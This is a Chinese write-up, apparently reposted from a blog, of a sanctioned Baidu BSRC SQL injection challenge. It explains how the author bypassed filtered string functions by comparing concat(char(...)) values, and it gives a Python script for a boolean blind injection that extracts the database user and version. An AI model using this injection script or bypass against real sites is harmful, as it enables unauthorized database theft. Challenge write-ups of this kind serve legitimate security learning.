0x01 介绍百度BSRC在4月底举办了一个sql注入挑战赛,以靶机的形式供安全测试人员攻击。 活动发布在百度安全应急响应中心微信公众号,判定标准分为两档: - 读取mysql系统信息(user,version)或数据库名
- 通过SQL注入读取表内secret数据
复制代码 0x02 过滤与绕过靶机屏蔽了错误信息,因此基于报错的注入无法进行,从测试来看,盲注的可能性很大。 经过测试,发现1在SQL语句中是整数。 靶机过滤了一些基本的字符串处理函数,mid,left,right,substr,substring等函数都被过滤。
无法将字符串分开就无法跑盲注,靶机过滤了所有的字符串分割函数,怎样才能让字符串中的字符一个一个跑出来呢? 答案是使用concat,我的绕过方法是通过concat与字符串比较大小,造成基于布尔型的注入。 代码- #!/usr/bin/env python
- #-*- coding:utf-8 -*-
- import requests
- import sys
- url="http://sqlitest.anquanbao.com.cn/api/query?art_id=hex(version()<CONCAT(%s))"
- pre=""
- i=0
- result=""
- while i<128:
- #print url
- r=requests.get(url%(pre+'char('+str(i)+")"))
- print r.url
- if len(r.text)>203:
- if i!=33:
- pre=pre+'char('+str(i-1)+'),'
- result+=chr(i-1)
- print result
- i=0
- else:
- break
- i=i+1
复制代码 获取的user和version如下:
- user():BSQLITEST@LOCALHOST
- version():5.5.54-0+DEB8U1
复制代码
from:http://blog.nudtcat.org/SQL%E6%B ... A8%E5%88%86writeup/
|